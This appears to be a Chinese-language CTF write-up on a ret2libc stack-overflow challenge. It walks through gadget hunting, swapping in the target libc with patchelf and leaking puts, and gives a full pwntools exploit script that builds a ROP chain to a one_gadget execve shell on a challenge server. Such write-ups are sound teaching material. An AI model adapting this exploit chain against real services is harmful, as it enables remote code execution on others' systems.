ret2libc与ret2text本质是一样的都是利用栈溢出改写返回地址,构造栈空间使程序运行到我们想要的函数,传入自己想要的参数,从而获取shell。不过这题没有system函数,那么我们需要做的就是引用libc库中的system并传入/bin/sh参数。
关于ret2libc详细的介绍可以参考白夜学长这篇文章,我就不过多赘述,直接做题。
拖进ida
可以看到只有一个vuln函数而且没有_system
1 | ssize_t vuln() |
检查保护
1 | [*] '/home/l0tus/下载/attachment(14)/vuln' |
onegadget获取偏移
1 | l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ one_gadget libc-2.31.so --near puts |
这里可以得到execve的相对地址0xe3b2e和puts的相对地址0x84450,可以用来计算偏移
然后找到一个pop rdi;ret ,这个execve 的限制是 r12,r13 都为0,还需要 pop r12; pop r13
这一步和之前的ret2text的ROPgadget一样操作
1 | l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ ROPgadget --binary vuln | grep pop |
得到rdi的地址是0x4012c3,pop r12;pop r13 是0x4012bc
然后直接看main函数的地址为0x40120B
至此我们做这题需要的地址都已经齐全了
利用patchelf替换libc
题目远程环境的libc版本和本地的libc并不一定相同,但是附件中包含了对应的远程libc文件,这时就需要我们自己手动替换libc文件。一般情况下,我们需要替换的为 ld.so 和 libc.so 两个文件
这一步的作用就是将题目附件vuln的libc环境从本地的替换成libc附件的(远程的),确保库中的函数偏移值相同 这样本地调试与远程环境相同。
对原附件进行ldd可以看到如下结果
1 | l0tus@l0tus-virtual-machine:~/下载/attachment(14) (1)$ ldd vuln |
可以看到这里的libc不是我们想要的,分别利用
1 | patchelf --set-interpreter <new ld file> <ELF file> |
这样的两条指令进行修改,尖括号整个替换成文件名/相对地址。由于每个人虚拟机/物理机装的libc文件位置不同,可根据各自情况来确定具体指令。
替换成功之后再ldd将显示如下界面
1 | l0tus/下载/attachment(14)$ ldd vuln -virtual-machine:~ |
recv() & recvuntil()
再回头看伪代码得知read之后存在一个write函数将buf进行返回,那么我们就需要用recv,recvuntil函数来接受我们leak出来的内容,其中recv()函数的参数是数字,作用为接收指定长度的内容;recvuntil()参数为字符串作用是一直接收到指定的字符串
调试时观察结束位置再合理利用这两个函数就可以接收到需要的值
完整思路
第一次输入:填充后覆盖返回地址,返回指向puts,利用puts 函数输出puts 的函数地址 puts_addr
利用puts 对libc 的偏移puts_offset 计算libc 基址 libc_addr = puts_addr - puts_offset; execve_addr = libc_addr + execve_offset 得到的execve地址
第二次输入:填充后调用pop_addr 清掉r12, r13, 返回地址为 execve_addr
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p = remote("1-vidar-train-docker.xn--sxa.cc","49397")
elf = ELF('./vuln')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40120B # main函数的地址
rdi_addr = 0x4012c3 # prop rdi;et 地址
pop_addr = 0x4012bc # pop r12 ; pop r13 地址
# 在onegadget得到的偏移
puts_offset = 0x84450
execve_offset = 0xe3b2e # execve
# 第一次输puts
payload1 = b'A'*0x28
payload1 += p64(rdi_addr)
payload1 += p64(puts_got)
payload1 += p64(puts_plt) # ret to puts
payload1 += p64(main_addr)
p.sendline(payload1)
p.recvuntil(payload1)
p.recv(24)
puts_addr = u64(p.recv(6)+b'\x00'*2)
libc_addr = puts_addr - puts_offset # libc的基址
execve_addr = libc_addr + execve_offset
print("puts_addr = " + hex(puts_addr))
print("libc_addr = ",hex(libc_addr))
print("execve_addr = " + hex(execve_addr))
# 第二次输入
payload2 = b'A'*0x28
payload2 += p64(pop_addr)
payload2 += p64(0) * 4
payload2 += p64(execve_addr)
p.sendline(payload2)
p.interactive()
1 | from pwn import * |
ret2libc(plus)
有的ret2libc题目甚至不给libc.so文件,那么我们就没办法使用onegadget来获取一些libc库函数的偏移
这道题整体思路与上一题基本一致的,但是需要用到一个新的东西那就是LibcSearcher
作用是查找库中函数与该函数偏移一致对应的libc库,用法:LibcSearcher("函数名",函数地址)
如果只通过一个函数来查找,那显示的libc库可能会有很多个,一种做法是一个个试,另一种做法是通过两个函数来查找。
选好一个libc库之后就和上题做法基本一致了,确定libc基址,确定所需函数的地址,然后调用所需函数。
这题直接调用system,并将/bin/sh作为参数。
需要注意的一个地方就是第二次输入是传参的方式,几个payload之间的顺序以及最后的retn 栈对齐。愚蠢的l0tus就在最后的位置卡了很久EOF
exp
1 | from pwn import * |
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !